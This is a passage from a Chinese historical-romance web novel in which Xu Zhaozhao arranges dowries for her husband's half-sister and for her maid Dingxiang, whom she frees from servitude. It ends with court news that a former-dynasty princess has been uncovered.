所以,纵观历史你就会发现,很多在皇帝那里受宠且得重用的,多多少少都有点儿不大不小的毛病。 各种各样的。 比如说有行事张狂的、有内宅不修,且惧内的、有好色贪钱的等等。 总之,有弱点,上位者才会真地愿意用,因为他觉得自己可以掌控这枚棋子。 许昭昭不是朝臣,所以完全没必要考虑这些。 但她的父亲兄长是武将,她嫁的又是一位武将,且都身份显赫。 她的父亲是出了名的宠女如命,她的夫君也许下了一生只娶一妻的诺言,所以,她有弱点,就意味着她的父兄有弱点,她的夫君有弱点。 这是上位者喜闻乐见的。 人不能太完美,否则就会招祸。 所以,现在有个小虫子拼了命的蹦跶着想要坏她的名声,许昭昭也就顺水推舟,看似是在毁坏她的名声,实际上,却是帮了许昭昭一个大忙。 谢婵的婚事定下,接下来便要开始准备聘礼了。 若是高门嫡女,自女儿出生之后,便会有其母亲开始攒嫁妆,一直到女儿出嫁。 许昭昭便是这样的例子。 但若是庶女,那就得看她是否得宠,自己的生母又是否富贵了。 显然,谢婵的生母只是一介奴婢出身,并没有多少的银钱傍身,所以也不可能给谢婵攒下多少好东西。 国公府的规矩,庶女出阁的相应陪嫁份例,这算是一份儿。 谢啸林身为谢婵的生父,自然也要为她准备一份儿。 无论是否丰厚,总归是做父亲的一份心意。 而谢铮和许昭昭身为长嫂,自然也是要准备一份的。 按国公府的规矩,等到郑家的聘礼送来,只要稍做调整,或者是更换后,便会原数再抬去夫家,这也算是对谢婵的看重了。 很多人家,送来的聘礼都会直接收入公中,不会再给庶女陪嫁回去的。 女子出嫁,是要将她日后生活所需的所有东西都备齐的。 家境越好,准备的东西就越多,甚至是连死后的棺材都是准备好的。 谢婵因为生母出身卑微,所以这嫁妆一事,就只能是拜托给许昭昭了。 贾氏也是多次向许昭昭示好,言行谦卑,只盼着女儿能风光出嫁就好。 谢啸林一个大男人,他准备的嫁妆,主要就是以银钱珠宝为主,其它的一些生活器具,他不懂,也不会去张罗。 于氏在请示了老夫人之后,便开始准备一些必需品。 比如说碗碟等一应器具。 至于成婚时用的一些家俱,这是国公府早就命人备下的,比如说拔步床、绣凳等等,都是现成的,届时只需拉到郑家便是。 第343章 你不心疼吗? 谢家有权有势,自然在银钱方面也是富裕的。 关于谢婵的嫁妆,老夫人和于氏早就想过了,公中会出一千贯钱做为嫁妆银,还会给给她一处小庄子、两间商铺,这就已经很不错了。 那个时候的老夫人和于氏,还以为谢婵是要嫁进宋家的,所以觉得这些嫁妆也是拿得出手的。 只是没想到,后来两家退婚,如今郑拓要求娶谢婵,这郑家,显然就比宋家差一些的。 但郑拓本人有前途呀,而且他的姐姐还嫁进了顾家,所以,这嫁妆方面,也是不能苛待的。 更要命的是,先前许昭昭闹了一出涨月银的事,老夫人和于氏就更得慎重了。 公中出的这些,按理也不少了。 但是谢啸林是长子,而且还是国公爷,如果分家的话,那么谢啸林是至少能分得六成家产的。 也就是说,这国公府整个儿都是谢啸林的,那些田地等相关产业,谢啸林手里也应该是最多的。 如果分了家,那么谢婵就是国公府的正经小姐,虽然是庶出,但是身份毕竟不一样,严格来说,谢芸和谢乔两人的身份其实是比不上谢婵的。 毕竟她们两个的爹都没有谢啸林厉害! 这年头就是这样,女儿家嘛,出阁前拼父母,出阁后拼夫婿,晚年时拼儿女。 啧,都一个样。 老夫人和于氏又商量一番,老夫人还是觉得得再加些嫁妆。 不能让老大吃亏。 家里这些年的安稳和荣耀,都是大儿子拼命挣回来的,他的女儿成婚,不能太小气了。 “把嫁妆银加高,加到两千贯。另外,庄子也给她换成一个八百亩以上的。铺面的话,京城这边只给两家就成,但是我记得云阳县还有几步铺面,给她拨两间过去,日后她是自己安排人做营生,还是只吃租钱,都由着她。” “是,母亲。” 于氏不会有任何的反对意见。 毕竟谢婵是长房的姑娘,而且当初谢芸的嫁妆可比谢婵的丰厚。 当然,可是单纯看公中出的,好像比谢芸也少不了多少了。 那些个零碎东西不计数,最要紧的就是银钱和产业。 毕竟产业是能继续生钱的,至于一些器皿之类的,用了就用了,碎了就没了,所以于氏不是很在意这些。 婆媳二人商量好之后,就命人将谢啸林和谢铮、许昭昭都叫过来。 谢啸林没有什么意见,事实上他也不知道先前谢芸出嫁时都备了哪些嫁妆,但既然是母亲点头的,应该是错不了。 于氏将这些都说完之后,老夫人见长房没有质疑的声音,一颗心才落回到肚子里。 “这些年,婵儿和娟儿也都是在我身边养大的,两个孩子虽然是庶出的,但也是我的孙女,日日过来请安唤我一声祖母的。我年纪大了,有些首饰钗环颜色太过艳丽,我也用不上了,便拿出几件来给婵儿添妆。” “让母亲费心了,您的东西,还是留着吧,好些都是当年外祖母亲手给您备的嫁妆呢。” 谢啸林想起幼时母亲对他们的教导,自然而然地便想起这件事,所以觉得自己女儿怎么能要祖母的东西呢! 老夫人笑了笑,看样子心情很好。 “我这半截土埋到脖子的人了,还有什么放不下的。这些不过是身外之物,我要是放不下,也是惦记着咱们国公府的这些孩子们。不过三郎争气,大郎和二郎如今也都有小成绩,我们谢家未来还会有小辈出头,我这心里头就高兴。 添妆的事情,你就不必多说了。我年纪大了,手里头也没有多少好东西了,就额外再给婵儿添两块金铤,两块银铤,成双成对,也图个吉利!” 老夫人都这样说了,谢啸林自然也不好再推辞。 而且于氏也知道,当初芸儿出嫁的时候,老夫人也给了两套首饰,金银铤各两块。 这也算是不偏不倚。 回去的路上,谢啸林将他们夫妻二人叫去书房。 “我这里的东西无非就是那么几样,三郎也都知道,没有什么好藏着的。谢婵是我的第一个出嫁女,我多年不在京城,对于如今的一些新规矩也不是很明白。 三郎媳妇,你且说说,家中给准备的那些嫁妆如何?在一众贵女中,可是落了下乘?” 刚刚当着母亲的面,谢啸林当然是什么也不能说的。 许昭昭细细一想,摇头道:“回父亲,那些嫁妆的数量还是可以的。虽然不及正经嫡女的规制,但若是放在一众庶女的嫁妆里,满京城排,应该也能排到前十的。当然,不能把皇亲的那些庶女算进去。” 谢啸林也不傻,听这意思,就是嫁妆可以,不出彩,但也不会掉国公府的价儿。 “我这些年在京城也没有另外置办产业,但是我在冀州那里倒是有不少,只是谢婵是女儿家,若是给她做嫁妆,我担心她也护不住那些产业。” “父亲不必担忧,不是还有一位妹夫嘛!再说了,您给的陪嫁里,可不仅仅只有金银财宝,也可以是几个、十几个的魁梧壮丁,又或者是精明能干的管事呀!” 谢啸林顿时恍然大悟,对呀,他先前怎么没想到这一层? “既然如此,那就只给他一处冀州的庄子吧,商铺这些,太麻烦,田产比较容易打理,只要不闹灾,一年的进项是大差不差的。也能让她省些心。” “可以。” 谢啸林有些好奇地看向许昭昭:“我给女儿送出这么多的嫁妆,你不心疼吗?” 要知道谢啸林可就只有谢铮一个儿子,日后他的东西,自然都会是谢铮的。 现在自己送出去的嫁妆多了,那日后落在谢铮手里头的东西可就少了。 许昭昭扑哧一笑:“没有什么好心疼的。不过就是一些产业,您就算是都给了两位妹妹,我也没有什么不满意的。那是您靠着一身的军功和伤疤换来的,您给谁,我都没有怨言。况且日后妹妹有足够的嫁妆傍身,她们的日后过得好了,我和三郎也能省心一些,您说是不是这个道理?” 第344章 还你自由身 谢啸林又往嫁妆单子上添了一小箱的珠宝,外加五百贯钱,还有一处两千亩的大庄子,只是在冀州。 另外,得了许昭昭的提醒,谢啸林又给他选出来十名精壮的仆从,日后也一并嫁过去。 但是对于管事这方面,谢啸林干脆大手一甩,让人把所有的管事都叫过来,由许昭昭给他们训话,然后从这些人中选出几个老实靠谱的,都给谢婵做陪房。 许昭昭没想到只是给小姑子准备嫁妆,公爹竟然就起了打算把这些产业都交到她手上打理的意思。 许昭昭有心推辞,但是谢啸林一句话就给压下来了。 “我难得回来休养,你不是说让我好好歇歇?这些产业若是你不接手,我怎么能静下心来休养?” 得,这是把自己给绕进去了。 许昭昭无奈,只能接手了。 到目前为止,谢婵的嫁妆银已经是两千五百贯,两处还算是可以的田庄,商铺总共有四间。 其实一个庶女出嫁,这些产业已经不少了。 许昭昭和谢铮又商量一番,他们做为兄嫂,又添了五百贯钱,干脆凑成了三千贯陪嫁钱,至于产业,公中和公爹给的都不少了,他们夫妻二人一商量,便又另辟奚径了。 郑拓是武夫,现在还不能称之为将,但是早晚的事儿。 所以,谢铮和谢昭昭二人的添妆里,便多了几把好刀、马槊等兵器,甚至谢铮还选出来两匹上等马,也一并给谢婵陪嫁过去。 大兴朝的马可是很贵的。 普通人家,兴许倾其所有,也买不起一匹下等马的。 更何况谢铮送的还是两匹上等马。 不得不说,谢铮和许昭昭的添妆,可是送到了郑拓的心坎儿上。 其实,谢铮也是由此来告诉所有人,谢婵是他的亲妹妹,谁也不能欺负她! 婚事定下,余下的一些琐事都是要慢慢准备的。 许昭昭腾出空来,就要琢磨着丁香和许柱子的婚事了。 “如今春暖花开,你们成婚选在这个时候也可以,不冷不热,穿嫁衣也舒服些。” 丁香脸红得很,站在一旁不说话。 底下人办婚事,就没有那么多的讲究了。 越是大户人家,才越是重六礼。 而普通老百姓,可能只需要将聘礼送上,隔天就能将新妇娶回家。 丁香和许柱子二人也算是情投意合,许昭昭干脆便将许柱子的爹娘给叫来了。 丁香是孤儿,早年丧父丧母,如今能有个男人可以依靠,她心里自然是欢喜的。 许柱子的爹娘原本就是许昭昭的陪房,跟着一起过来的,只是这对夫妻二人如今是住在外头的庄子上,如今他们夫妻就帮忙管着一个小庄子,算是个庄头儿,手上有权利,也不必日日到主子跟前露脸儿,这也算是许昭昭给许柱子的一份体面。 至于丁香的嫁妆,因为她自己无父无母了,所以嫁妆自然就是许昭昭来帮她筹备。 大兴朝于身份上的规矩很多,而且也很严苛,所以许昭昭不可能给丁香太贵重的东西,但是可以许她一个自由身。 “小姐,奴婢不走!奴婢就算是嫁人了,也是小姐的丫环,小姐不需要那些劳什子的自由。” 自由于一些受到虐待的下人而言,或许是一份期盼。 自由于一些心高的奴婢而言,或许就是一种可以攀高枝的途径。 而在丁香看来,自由却是最无用处的。 她活了十几年,见多了形形色色各种种样的人。 有的人虽是农籍,但日子过得却远不及她。 丁香跟在主子身边,能吃得好穿得好,甚至还能攒下一笔不少的私房钱。 但若她只是一个寻常农户家的姑娘,若运气好,能平安长大,再许一门相差无几的婚事。 可若是她运气不好,兴许会凭着一张好颜色而被卖入大户人家为妾、为婢,甚至是极有可能压根儿就长不大,半路夭折了。 所以,在丁香看来,唯有跟着主子,她才能过好日子。 “好了,说什么傻话呢!快起来,你若是日后还想跟在我身边做事,大不了再重签一份工契便是,没必要非得作践自己。” 工契,与卖身契自然是不同的。 有工契,可丁香还是良籍,而非奴籍。 “你跟在我身边多年,说实话,你嫁出去了,我心里头也不是滋味儿,可你早晚是要嫁人的,不仅仅是你,还有芍药、紫苏等其它人,年纪到了,都要去做这个年纪该做的事。柱子此人不错,他的父母老实且慈爱,你嫁过去,日后也不会受委屈。” 丁香哭得眼泪鼻涕,可没了往日的好模样。 “芍药,你先带她下去梳洗一下,一会儿若是柱子过来看到,还以为我欺负她了。” “是,主子。” 果然,等到许柱子也过来,见到自己的意中人两眼红肿,自然就知道这是舍不得离开主子。 “你们二人年纪上也登对,且是情投意合,许柱子,我如今正式问你,你可愿意娶丁香为妻?” “小的愿意。” “嗯,那你父母可知晓此事?” “知道的。” “那行,回头让你父母来一趟,就由他们亲自来提亲,记得要备好东西。” 许昭昭提醒得很明显了,许柱子当场就给主子磕了个头。 “我现在先问问你,若是你二人成亲,你是如何打算的?” 许柱子这会儿脑子也清明了,认真想了想:“回主子,小的是您的仆从,自然是一切听您的吩咐。” 许柱子如今就住在百味轩,他现在主要就是负责百果园对外的一些合作,另外,还会在这里负责一些对底下小管事们的监督工作。 许柱子爹娘都已经被安排到下面的庄子上去住着了,不必在府里伺候,自在许多,而且还是庄头儿的身份,自然就会比以前更得意。 许柱子一个人,觉得住哪儿不是住呀,所以就直接住在了百味轩,有事到国公府禀报,也是很快就会退出来。 “你好歹也是替我办事的,而且如今京中谁不知道你许管事呀!总不能连套像样的宅院也没有,这不合适。” 第345章 嫁妆 许柱子立马点头:“是是是,小的立马就去置办一处宅院,主子希望是在何处?” 许昭昭笑了:“你置办的宅院在何处,我可管不着。但是丁香自小与我一起长大,情同姐妹,我在永宁坊置办了一套宅子,就给丁香做嫁妆了。” 大兴朝再开放,再对女子宽容,也不许女子置业,但有两种情况除外。 一种是绝户,即家中没有男子,立女户。 还有一种,便是女子成亲置办嫁妆。 否则,女子名下是不许有田产的。 当然,宅院这等产业,不算在其内,任何女子只要有钱,都可以置办宅院,而想要置办田产,只有上述两种情况才可以。 当然,规矩是死的,人是活的。 有些女子出嫁后,仍然可以扩充田产,有的是利用权势改为自己的嫁妆,有的则是置办在底下签了死契的奴仆身上。 当初的邓家,便曾有过数次这样的操作。 许昭昭开口道:“许柱子,我希望你回去后跟你的父母商量一下,我要的聘礼很简单,置办二十亩的田地,最好是离着庄子不远的地方,届时这二十亩田产,我会转到丁香的名下,就以她嫁妆的形式,再带到你们家去,你以为如何?” 许昭昭不确定自己是否真地能一直在京城,更不能确定,她和谢铮是否真能长命百岁。 这等吃人的地方,稍有不慎,就会被人算计。 而庞大的护国公府,也是一样。 丁香待她好,所以许昭昭想给足丁香安全感,也尽力为她安排好一切后路。 这也是为什么许昭昭会给丁香自由身的主要原因之一。 许柱子虽然算得上是家生子,但毕竟不一样。 日后若是有机会,她也同样会还给许柱子一个自由身。 当然,不是现在。 给丁香一个自由身,只是为了让他们都看到自己的仁慈和宽厚,并不代表了所有人都可以得到她们想要的。 总得有块肉在前头吊着才好使。 而且许柱子的情况与丁香不同,他还有父母,就算是自己真给他自由身,他的父母也不会答应的。 当年若不是许父施出援手,只怕现在夫妻俩都没了,更不可能还有一个许柱子的存在。 所以,许昭昭知道,现在不是对柱子一家再施大恩的时候。 二十亩田产,对于普通百姓而言可是相当珍贵的,而且价格也很高。 可许柱子这几年跟着许昭昭办事,自然也是攒下了一笔不小的家资,他稍一琢磨,置办二十亩田产没问题,可他就暂时买不起宅院了。 因为聘礼不可能真地就只有二十亩田产,而且他先前还帮了姐姐不少,如今手里头虽然有些余钱,但是京城的一处宅院,就算是小的,也得五百贯了,他手上没有那么多了。 许昭昭显然也大概猜到了他手上有多少余钱。 除了二十亩良田之外,还要再置办酒席、再购置布匹、等一些家用之物,所以,实在是凑不齐五百贯了。 但是许昭昭刚刚也说了,已经在永宁坊给丁香置办了一套宅子,到时候他们小夫妻俩可以单独住在那里,倒是省事儿而且还能就近时常过来给主子请安。 许柱子没多想,立马就应了。 反正他娶妻,也不打算日后再休妻,所以他的也罢,丁香的也好,日后都会是他们两个的孩子的。 想明白这些,许柱子这心也就豁亮许多。 “主子,置办田产没有问题,回头小的就去办,但是这宅子怕是就得缓一缓。” “无妨,我给丁香的那处嫁妆,日后可供你们小夫妻居住。对了,你们成婚后,丁香是会留在城里的吧?” “会会会,我爹娘那里不用担心,他们现在身子骨壮实着呢,而且庄子上也有一些犯了错的下人在那里当差,我爹娘也不需要我们在跟前尽孝,只需要得空了时常回去瞅瞅他们就行。” 说白了,柱子爹娘如今在庄子上也是半个主子,有人伺候呢! 许昭昭对此很满意。 身为一个几千年后回来的灵魂,她自然明白婆媳相处的难点。 无论贫富,但凡是这婆媳二人中有一个是难缠的,这日子就过不安宁。 “那好,就这么办吧。你回去跟你父母商量一下,这几日我不出府,等着你们。” “是,谢主子!主子您的大恩大德,小的这辈子都感激不尽,不是,是小的这辈子都回报不了,等日后小的和丁香姐成亲了,我们的孩子也一定再回来侍奉小主子,以还您的恩情。” 扑哧! 一旁的芍药实在是憋不住了。 这许柱子在主子跟前,哪里还有半分外面的管事模样。 许昭昭瞪她一眼,暗示她还是要收敛一些。 “行了,你们都下去吧。丁香去送送许管事。” “是,主子。” 几人都明白,这是给他们二人说话的空,让他们自己去商量一些婚事的细节呢。 “你放心,我一切都按主子的吩咐去做。我以后也会对你好的。” 丁香脸色微红,两只眼睛还有些红肿。 “日后我跟你一起过日子,但我心里头还是会记挂着主子的。若是,若是日后我们成亲了,只有主子有需要,我还是会回到主子这里来的。” “好,没问题,你说咋着就咋着。” 两人达成共识,接下来就简单多了。 许昭昭将丁香和几个大丫环都叫到一处,将自己的打算说出来。 “日后你们若是成亲,我也会比照着丁香的嫁妆来。不过丁香和芍药二人特殊,因为她们是自小陪我一起长大的,与我情同姐妹。所以这陪嫁的宅院一事,便只有芍药才能和丁香一样,你们心中可有不服?” 紫苏和嫁进国公府后提拔上来的大丫环海棠,二人都摇摇头。 紫苏原本就是谢铮培养的女护卫,留在许昭昭身边,最大的职责就是保护她的安全。 海棠不同,她是成亲时,王若兰又特意从自己家这边的家生子里挑出来的一个,以前就一直在许昭昭这里做二等丫环,成亲前,才提成了大丫环,一并陪嫁过来了。 “那好,除了宅院,日后你们的嫁妆会和丁香、芍药一样,我不会偏心。” 第346章 这是来我这里骗嫁妆了! 许昭昭给丁香备的嫁妆可不少。 对于普通老百姓而言,最实惠的除了银钱,便是田地和屋舍。 许昭昭示意许柱子去置办二十亩的田地给丁香,她转手再以嫁妆的形式挂到丁香名下,还有一处永宁坊的宅院,如此一来,田地和屋舍便都有了。 大兴朝的律法有规定,女子出嫁后,其嫁妆可由其自行支配,其娘家人无权干涉,若是和离则女方可带嫁妆一并离开,若是被休弃,视其情况而定。 许昭昭这样一番操作,算是能保证丁香后半生至少有吃有住,不必浪迹街头了。 至于银钱,丁香自己攒了一些,许昭昭又给她二十贯钱的压箱底,除此之外,还有一些首饰,也都给备她下了。 丁香是心怀感激的。 其它下人看到一个丫环出嫁,主子竟然还准备了如此丰厚的嫁妆,自然也是羡慕的,更是打定主意好好办差,日后好在主子跟前也露个脸儿。 锦绣园里,世子夫人身边的大丫环要出嫁的消息,自然是瞒不住的。 更何况这是喜事,许昭昭也没打算瞒。 小林氏听说许昭昭竟然还给丁香陪嫁了一处宅院,当即就觉得听到了什么不可思议之事似的。 “你说这许昭昭是不是脑子进水了?这京城的房子多贵?一套宅院,最起码得五百贯钱,她这是不是太有钱了,所以闲着不知道怎么花用了?” 谢啸威瞪她一眼,说的什么话! “你是当婶子的,哪能这么说话?再说了,许昭昭给陪嫁什么,那都是人家的东西,而且许昭昭有钱,你也知道,她自己的钱,爱怎么花怎么花,碍着你什么事儿了?至于陪嫁丰厚,那说明人家姑娘忠心且服侍得好! 你要是觉得不舒坦,你也给你身边的大丫环们出一份儿丰厚的嫁妆。侄媳妇又没花你的钱,你在这里咋乎什么呢!” 小林氏气得直跺脚:“你这人,怎么说话呢!那可是五百贯,不是五百文!许昭昭再有钱,她身边那么多的丫环小厮,日后难不成都要给出这么丰厚的嫁妆?” 谢啸威还是那句话:“跟你有关系吗?” 对于丁香的婚事,许昭昭派人回去跟王若兰禀报一声,小厮回来的时候,还带着一个匣子,说是夫人给丁香姑娘的添妆。 匣子一打开,里面是一对儿银手镯,上面刻着缠枝莲,这是寓意他们日后小夫妻日子和美呢。 许昭昭笑着将东西给了丁香,丁香看到后,就又开始哭了。 这对银镯子的分量可不轻,若是拿去典当,都够一家三口大半年的嚼用了。 首饰钗环,这些都是女子可以留在自己身边的。 比起银钱来,这些东西能更让人有安全感。 因为日后若是夫君对她不好了,自己即便是被休,这些东西也是可以带走的。 不像是有些产业,或许会被夫家想法子强留,对于女子的首饰衣裳等物,但凡是要点儿脸的人家,一般都不会对这些东西出手。 也是此刻,许昭昭才明白,为什么从古至今,大部分的女子都喜爱珠宝首饰,因为这些东西不仅漂亮,还能带给她们一定的安全感。 许昭昭带着丁香一起去了老夫人那里请安。 “祖母,这是我身边的大丫环丁香,过些日子就要嫁出去了,今日特意带过来,让她给您磕个头。” 谁让许昭昭现在是谢家妇了呢。 所以,丁香虽然是她的奴婢,但还是要走个过场,也省得有人再背后嚼舌根。 老夫人看到丁香跪下后,便笑道:“快起来吧,我头回见她的时候,就觉得这姑娘长的好,性子也好。没想到这么快就要嫁人了。许的是哪户人家?” “回祖母,许的是我手底下的一个管事,名叫许柱子,如今在东市那边的百味轩当差呢。” “哦哦,我知道这地方。虽然不曾去过,但是听闻那里的美食可是这个。” 老夫人一边说,一边竖起了大拇指:“听闻很多菜式在外面都是听都没听说过的,只有一个缺点,就是贵!” 许昭昭也跟着笑起来了:“祖母这话是在点我呢!得了,等回头挑着您和二婶婶哪天心情好,咱们一块去那里尝尝。就专挑那最贵的菜点!” 一番话,逗得几人哈哈大笑。 于氏也很欣慰,这个侄媳妇的性子是真好,而且人家手里头有钱,也大方,不会死抠着不用。 最主要的是,许昭昭不仅对锦绣园的一应用度大方,往老夫人和她这里送的东西也都是上等物件儿,就是亲儿媳妇,能做到这样也就算是不错了。 老夫人满意许昭昭,而且也愿意给许昭昭做脸。 丁香既然过来给她磕头了,那她自然也要表示一下。 多了她不会给,毕竟只是一个奴婢。 “我记得还有一条银项圈,你去取来。丁香这姑娘生得白净,戴上定然好看。” “是,老夫人。” 于氏也不好干看着,随手自头上拔下来一支玉簪,成色一般,做工也简洁,估计去典当行,能值个七八贯钱。 丁香过来转一圈,给自己挣了两件嫁妆,可把她给吓坏了。 倒是老夫人将人打发后,虚指着许昭昭:“你这个小机灵鬼儿,这是故意给你家丁香来骗嫁妆的吧?我可得先说好了,日后你身边的人再嫁出去,别想着来给我磕头了,太贵!” 许昭昭和于氏相视一眼,都跟着笑起来。 “祖母,您这话说的!日后我身边还有人出嫁,都得到您跟前来晃一圈儿,说什么也得让您老松松手指,从缝里头露点儿出来,就能让他们两口子一辈子吃喝不尽了。” 这自然是玩笑话,没人当真。 等到次日,许昭昭没过来请安,而是去百果园了,当天后晌,就有人送东西过来了。 “禀老夫人,小的是百果园管事徐得贵,奉我家主子之命,给您和二夫人送些东西过来。” 小林氏也在呢,当即就不乐意了。 既然是送礼的,怎么偏就她没有? 老夫人正好奇着呢,也没顾得上看小林氏,还有心思开玩笑。 “送什么东西过来了?要不是什么好的,我可不要!” 第347章 不想管了 “回禀老夫人,前些日子,百果园自山上挖了几株药材,县主便命人炮制好了,其中有几样已经送入宫中。” 徐得贵话说到这儿,一挥手,就让人把匣子都捧过来,然后自己当场打开。 老夫人哦哟一声:“这可都是好东西呀!” “我们县主说了,好东西也得看给谁用。人人都赞已逝的老国公爷以及现在的谢大将军,甚至是世子也颇受赞誉,但是却从未有人想过谢家女眷的不易。若是没有谢家女眷鼎力支持,让他们安心在战场上杀敌,又岂能有如今的功劳?” 老夫人和于氏都面色微怔,“这是你们县主说的?” “回老夫人,正是县主说的。而且不止说了一回,上次世子爷陪着县主一起去百果园小住时,县主也说了类似的话,而且世子爷也颇为认同,世子爷还说,若不是有长辈们的悉心教导,小辈们如何能成材?” 老夫人听着这泪花都出来了。 还得是她的孙子呀。 到底是知道心疼她这个老太婆。 “好好好!你们县主送来的东西我都收下了,回去后好好做事,你们县主仁厚大方,定不会亏待你们的。” “是,那小的告退。” 老夫人和于氏二人各自拿到了礼单。 其实于氏这里就是何首乌比老夫人少了一支,百年人参也少一支,余下的东西,基本上一个样。 一旁的小林氏看得眼酸,待妯娌二人出来后,小林氏才开始抱怨。 “侄媳妇未免太小气了些,怎么就不知道给我也送一些?就只是因为我上次恼了她?” 于氏无奈:“弟妹,昭昭不是那样的人。这次给我和母亲送这些药材,也有补偿之意。” 小林氏听得一脸懵:“什么意思?” “上次昭昭带着她身边的婢女丁香……” 于氏将老夫人和她一起给丁香添妆的事情说了,小林氏这才明白,许昭昭为何只给她俩送好东西。 只是舍出那么几样银饰,就能换回来这么多有钱都不好买的药材,这许昭昭也太大方了呀! 的确是大方。 回到自己院子,于氏还在感慨呢。 自己总共才出了多少东西? 可是许昭昭一出手就是这么大手笔。 可见那百果园也的确是赚钱,许昭昭手里头不缺钱,自然也就不缺好东西。 不过听说这是百果园后山上长的,倒是又有些佩服她的好运气了。 许柱子爹娘很快也就将提亲需要准备的东西办妥,然后由徐嬷嬷和于嬷嬷二人正式充做丁香的长辈,一起谈妥了这门婚事。 丁香认了徐嬷嬷和于嬷嬷二人为干娘,也是为了提醒许柱子家,丁香就算是不在主子跟前伺候了,也有两位干娘护着呢。 一切谈妥,许柱子也将二十亩田产办下来,连同着地契和租契都带过来,当着众人的面儿交到丁香手上。 丁香一看这上面的名字都改成她的了,还有些纳闷儿呢,毕竟主子说等收到后再去重新过户,没想到,这许柱子倒是个明白人,直接在置办的时候,就落到了丁香名下,并且言明这是主家给丁香置办的嫁妆。 如此一来,既省了许昭昭的事,而且还能让许昭昭心善仁慈的名声传得更具体了。 许昭昭没想到柱子会有这么一出。 他愿意这么做,也是因为从心眼儿里认定了丁香。 说到底,还是你情我愿。 提了亲、下过聘,就可成婚了。 丁香是直接从永宁坊的宅子里出嫁的,嫁去的地方,就是城外的庄子上,也就是许柱子爹娘现在暂住的地儿。 成亲三日后回门儿,丁香是直接回的护国公府,这也是许昭昭的意思。 许昭昭喝了二人敬上来的茶,心中仍有不舍。 再怎么说,也是跟了自己这么久的人,一下子从身边剥离开,她是真有些不适应。 “成亲了,日后就好好过日子。柱子你如今在外面也有几分体面了,不管是在外,还是在家,都要顾着几分丁香的颜面,莫要负了她。” “是,主子,小的一定不负娘子。” 许昭昭满意地点点头,又让二人给于嬷嬷和徐嬷嬷都磕头敬茶后,才引着他们二人去外面说话。 于嬷嬷让丁香转个圈,仔细打量之后,才笑道:“主子知道你舍不得那几位姐妹,所以特意嘱咐了,你们一会儿就在锦绣园里用膳,到时候芍药和紫苏、海棠都会过来。” “那怎么成?若是她们都过来了,主子那里留谁伺候?” “放心吧。今日世子爷也在家休沐呢,要不怎么会叫咱们都先出来呢。估摸着这会儿呀,世子爷正亲自伺候主子吃茶呢。” 这话里有几分逗趣,但也足以说明世子和县主的感情好。 丁香成亲后,许昭昭这心里头就有些不得劲儿,有时候喊人时,不由自主就喊成了丁香的名字。 也是喊顺口了。 海棠的年纪要小一些,虽然也被教导的不错,但总归是不及丁香用着顺手。 许昭昭现在心情不错,今年的好消息是一个接一个,谢婵的婚事定下了,之后就是谢娟的婚事,不过想到那位小宋氏,许昭昭突然又不是很想管了。 谢铮明白她的顾虑:“想管就管,不想管可以不管,你只是她们的嫂子,又不是亲娘,没必要太上心。” 前些日子许昭昭也看了于氏给谢娟划拉的一些相亲人选,其实和以前谢婵的相亲对象都差不多。 只不过当时许昭昭就都否了。 主要是觉得不合适。 有的是家境不合适,有的是那郎君本身不合适,还有的则是当家主母太严苛等等。 总之,女子嫁人,总不能只看郎君如何,还得看方方面面。 许昭昭现在头疼的是,当初她把这些人都给否了,然后给谢婵找了郑拓。 可如今她还真没办法再接着否。 一是因为谢娟的生母小宋氏对其中的几位郎君很满意,甚至已经求到国公爷那里去了。 第二嘛,谢娟到底是跟谢婵不同,小宋氏虽然是妾,但她是良妾,好歹还有一个娘家做倚仗,虽然入不得国公府的眼,但好歹也是官宦人家,所以,小宋氏的意见,也不能真地完全不听。 这不,谢娟的婚事,就此给架在那儿了。 第348章 前朝公主? 小宋氏相中的,有两位郎君。 一位是姜家的亲戚,哦,应该说是她自己的族亲。 小宋氏出自宋家,谢铮的母亲宋氏,则是宋氏主支嫡脉的嫡女出身,身份高贵。 除此之外,姜家二爷,姜延辉的妻子宋氏,同样是出自这个宋家。 严格来说,姜家与谢家,也算是拐着弯儿的亲戚。 姜延辉的妻子宋氏,出自宋氏主支,但非嫡脉,身份上,不及谢铮的母亲贵重,但也是出身不低了。 而护国公府的小宋氏,正巧就和姜宋氏的关系更近一些。 所以,这二人私底下时有来往。 对此,护国公府的老夫人也是睁只眼闭只眼,只要不涉及到朝堂大事,不为非作歹,一切便由着她。 如今姜延辉的妻子宋氏,掌管着姜家中馈,虽然她的夫君获罪,但她仍然是众人眼中高不可攀的姜家主母。 也就是如今的姜家低调,宋氏本人行事也不爱张扬,所以,才没有人意识到哪里不对。 但是嗅觉敏锐的人,总会察觉到蛛丝马迹。 果然,没多久,一道急报从千里之外送入宫中。 当天下午,几位大臣被急召入太极宫议事,谢啸林也在其中。 大半个时辰之后,朝臣们鱼贯而出。 顾东阳微微扭一下头,与在外面不停巡查的谢铮,正好看了个对眼儿。 只一眼,谢铮便明白,出事了。 他不急,反正晚上回去,父亲也一定会跟他说的。 果然,谁能想到,被圣上发配到了边疆的姜延辉,竟然还能再重返朝堂! 谢铮听到这个消息,人都傻了。 就姜延辉犯下的事儿,陛下没要他的命,就已经是看在姜太傅的面子上了,怎么可能会再重新启用? 这也太离谱了! “姜延辉在边疆立了大功,这一次不仅成功剿灭了一批马匪,更是将前朝皇室余孽一并捉拿,甚至还查到了一位前朝公主的身份。如此大功,陛下让他重回朝堂,也是情理之中的。” 前朝公主? 程媛? 谁能想到,这个程媛会是前朝皇室余孽? 而且身份还挺贵重,竟然是公主? 等到大理寺这边再去提审程媛之时,这才发现,不知道什么时候,程媛早已经被人调包。 因为隔的时间太长,想要细查,竟发现无从查起。 他们甚至不知道这个假的程媛,到底是什么时候换进来的。 但大理寺是什么地方? 就算是再不好查,也得查! 更何况,那个假的程媛竟然在提审时,直接寻死,去夺衙役的配刀时,然后竟然自己直接往那刀锋上撞。 如此一来,线索便全断了。 真程媛不知所踪,假程媛就死在了眼皮子底下。 这还怎么查? 大理寺的监牢,每天进进出出不知道有多少人,怎么可能查得过来? 如果程媛是前朝公主,那么程家又在其中扮演了什么角色? 程媛的真实身份,已逝的程公知道吗? 还有失踪的程缙,他是死了,还是隐藏起来了? 姜延辉人还没有露面呢,就给送回来了这么大的一个消息,真是能震惊得朝堂里外三层都掉眼珠子。 姜延辉已经在回京的路上。 随着旨意的下达,姜家,似乎又以一股强势之力回归。 姜家没了姜文鹤,还有其它的子嗣,如今姜延辉回归京城,朝中局势,又将重新洗牌。 谢铮没有瞒着许昭昭,将姜延辉以及程媛的事情都说了。 许昭昭则是觉得一切好像都能解释得通了。 程公当年藏起来的财宝可是十分庞大的。 